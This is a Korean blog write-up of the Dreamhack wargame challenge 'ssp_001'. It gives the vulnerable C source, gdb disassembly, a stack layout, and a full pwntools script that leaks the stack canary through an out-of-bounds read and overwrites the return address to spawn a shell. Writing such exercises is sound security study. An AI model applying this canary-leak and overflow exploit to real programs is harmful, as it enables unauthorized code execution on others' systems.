Skip to main content

Command Palette

Search for a command to run...

[Dreamhack] ssp_001

pwnable-wargame

Updated
3 min read

ssp_001

https://dreamhack.io/wargame/challenges/33

소스코드를 확인해보면

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
    puts("[F]ill the box");
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
}
int main(int argc, char *argv[]) {
    unsigned char box[0x40] = {};
    char name[0x40] = {};
    char select[2] = {};
    int idx = 0, name_len = 0;
    initialize();
    while(1) {
        menu();
        read(0, select, 2);
        switch( select[0] ) {
            case 'F':
                printf("box input : ");
                read(0, box, sizeof(box));
                break;
            case 'P':
                printf("Element index : ");
                scanf("%d", &idx);
                print_box(box, idx);
                break;
            case 'E':
                printf("Name Size : ");
                scanf("%d", &name_len);
                printf("Name : ");
                read(0, name, name_len);
                return 0;
            default:
                break;
        }
    }
}

get_shell()의 주소로 덮으면 플래그를 획득할 수 있는 것으로 보인다.

F를 입력하면 box에 입력을 받고 P를 입력하면 print_box()함수를 호출하여 해당 인덱스의 값을 출력한다. E를 입력하면 name_len에 이름의 크기를 입력하고 미리 적은 이름의 크기만큼 이름을 입력받는다.

gdb로 메인함수를 열어보면

pwndbg> disassemble main
...
0x0804886c <+321>:   mov    edx,DWORD PTR [ebp-0x8]
0x0804886f <+324>:   xor    edx,DWORD PTR gs:0x14

해당 부분이 카나리 값 비교임을 알 수 있다. 카나리는 [ebp-0x8]에 위치한다.

위로 다시 돌아가서 메인함수에서

 0x080487a0 <+117>:   call   0x80484a0 <read@plt>
   0x080487a5 <+122>:   add    esp,0xc
   0x080487a8 <+125>:   movzx  eax,BYTE PTR [ebp-0x8a]
   0x080487af <+132>:   movsx  eax,al
   0x080487b2 <+135>:   cmp    eax,0x46
   0x080487b5 <+138>:   je     0x80487c6 <main+155>
   0x080487b7 <+140>:   cmp    eax,0x50
   0x080487ba <+143>:   je     0x80487eb <main+192>
   0x080487bc <+145>:   cmp    eax,0x45
   0x080487bf <+148>:   je     0x8048824 <main+249>
   0x080487c1 <+150>:   jmp    0x804887a <main+335>
   0x080487c6 <+155>:   push   0x804896c
   0x080487cb <+160>:   call   0x80484b0 <printf@plt>
   0x080487d0 <+165>:   add    esp,0x4
   0x080487d3 <+168>:   push   0x40
   0x080487d5 <+170>:   lea    eax,[ebp-0x88]

각각 F, P, E와 비교하고 있고, main+155를 따라가보면 boxebp-0x88에 위치하는 것으로 확인할 수 있다.

비슷하게

0x080487a0 <+117>:   call   0x80484a0 <read@plt>
0x080487a5 <+122>:   add    esp,0xc
0x080487a8 <+125>:   movzx  eax,BYTE PTR [ebp-0x8a]

에서는 select[ebp-0x8a], 비슷한 원리로 C코드와 어셈블리 코드를 매치시켜나가면

+--------------------+  <- ebp - 0x94 (idx)
|        idx        |
+--------------------+  <- ebp - 0x90 (name_len)
|      name_len     |
+--------------------+  <- ebp - 0x8A (select[0x2])
|    select[0x2]    |
+--------------------+  <- ebp - 0x88 (box[0x40])
|     box[0x40]     |
|      ...          |
+--------------------+  <- ebp - 0x48 (name[0x40])
|     name[0x40]    |
|      ...          |
+--------------------+  <- ebp - 0x08 (카나리)
|      카나리       |
+--------------------+  <- ebp - 0x04 (dummy)
|      dummy        |
+--------------------+  <- ebp - 0x00 (sfp)
|       sfp         |
+--------------------+  <- ebp
        ret

dummy: sfp부터 카나리까지의 빈 공간

다시 로직으로 돌아와서 P를 누르고 인덱스를 누르면 2개씩 읽어온다고 했다. 이것을 통해 box를 넘어서 카나리까지 출력해버릴 수 있다. 0x88부터 0x8까지, 즉 128바이트 길이이다. 카나리는 4바이트이므로 4번, 131 130 129 128까지 수행해주면 된다. 그러면 카나리 릭이 성공한다.

그 이후에 get_shell()의 주소로 덮어씌워주면 된다. 이것은 gdb에서 확인해도 되지만 ELF를 써서 가져와도 된다.

name을 입력받는 곳에서 name 40바이트, 카나리(실제값), 더미와 SFP 각각 4바이트씩 해서 RET까지 온 후 get_shell()의 주소로 가게 하면 된다.

from pwn import *

def slog(name, addr):
  return success(": ".join([name, hex(addr)]))

p = remote("host1.dreamhack.games", 17265)
e = ELF("./ssp_001")

get_shell = e.symbols['get_shell']

canary = b""

i = 131
while i >= 128:
  p.sendlineafter("> ", 'P')
  p.sendlineafter("Element index : ", str(i))
  p.recvuntil("is : ")
  canary += p.recvn(2)
  i = i - 1

canary = int(canary, 16)
slog("canary", canary)

payload = b'A' * 64
payload += p32(canary)
payload += b'B' * 4 # dummy
payload += b'C' * 4 # SFP
payload += p32(get_shell)

p.sendlineafter("> ", 'E')
p.sendlineafter("Name Size : ", str(len(payload)))
p.sendlineafter("Name : ", payload)

p.interactive()

More from this blog

락프리 데이터 구조와 알고리즘

여기서는 락프리 데이터 구조를 설명한다. 락프리(lock-free) 란 배타락을 이용하지 않고 처리를 수행하는 데이터 구조 및 그에 대한 조작 알고리즘을 총칭한다. 왜 락프리인가? 전통적인 동시성 제어 방법인 뮤텍스나 세마포어는 여러 문제점을 가지고 있다: 성능 저하: 락 경합(lock contention)으로 인한 대기 시간 데드락: 여러 스레드가 서로의 락을 기다리는 상황 우선순위 역전: 낮은 우선순위 스레드가 높은 우선순위 스레드를 ...

Jul 27, 20257 min read126

소프트웨어 트랜잭셔널 메모리

소프트웨어 트랜잭셔널 메모리 동시성 프로그래밍에서 공유 자원에 대한 안전한 접근은 항상 중요한 과제다. 전통적으로 뮤텍스 락과 같은 비관적 락(Negative Lock) 방식을 사용해왔다. 이 방식은 크리티컬 섹션에 진입하기 전에 반드시 락을 획득해야 하며, 락을 얻지 못하면 코드 실행 자체가 블록된다. 하지만 이와는 다른 접근 방식이 있다. 바로 낙관적 락(Optimistic Lock) 방식인데, 이는 "일단 실행하고 나중에 검증하자"는 철학...

Jul 20, 202517 min read263

공평한 배타 제어

공평한 배타 제어 여기서는 공평한 배타 제어에 대해 설명한다. 먼저 컨텐션(contention) 이라는 개념을 이해할 필요가 있다. 컨텐션이란 여러 스레드가 동시에 같은 락을 획득하려고 경쟁하는 상황을 말한다. 컨텐션이 높을수록 스레드들이 락을 기다리는 시간이 길어지고 성능이 저하된다. 이러한 컨텐션 상황은 시스템 아키텍처에 따라 더욱 복잡해질 수 있다. 특히 비균일 메모리 접근(Non-Uniform Memory Access, NUMA) 와 같...

Jul 13, 20259 min read21

KernelSnitch[논문 리뷰]

Paper 1. Intro 이 글은 NDSS 2025에서 발표된 KernelSnitch 논문을 소개이다. 이 연구는 커널의 평범한 데이터 구조체들이 가진 본질적인 특성이 어떻게 심각한 보안 취약점이 되는지를 보여준다. 핵심은 이러하다: "데이터 구조체의 크기에 따른 접근 시간 차이를 이용해 커널의 비밀 정보를 유출할 수 있다" 여기서는 커널 힙 포인터 유출에 집중해서 설명한다. 이 공격이 성공하면 KASLR을 우회하고 더 심각한 커널 익스플로...

Jul 11, 20257 min read131

멀티태스크와 액터 모델

멀티태스크 협조적/비협조적 멀티태스크 선점: 프로세스와의 협조 없이 수행하는 컨택스트 스위칭이라고는 하나, 결국 뺏어오는 게 가능하냐의 문제다. 협조적 멀티태스크(비선점형, cooperative): 각각의 프로세스가 자발적으로 컨택스트 스위칭을 수행하는 멀티태스크 방식. 장점: 멀티태스크 매커니즘을 구현하기 쉽다. 단점: 프로세스가 자발적으로 컨텍스트 스위칭을 해야하는데, 만약 버그가 발생하여 프로세스가 무한 루프에 빠지거나 정지하게 되면 그 ...

Jul 6, 20252 min read25
M

MaxLog

35 posts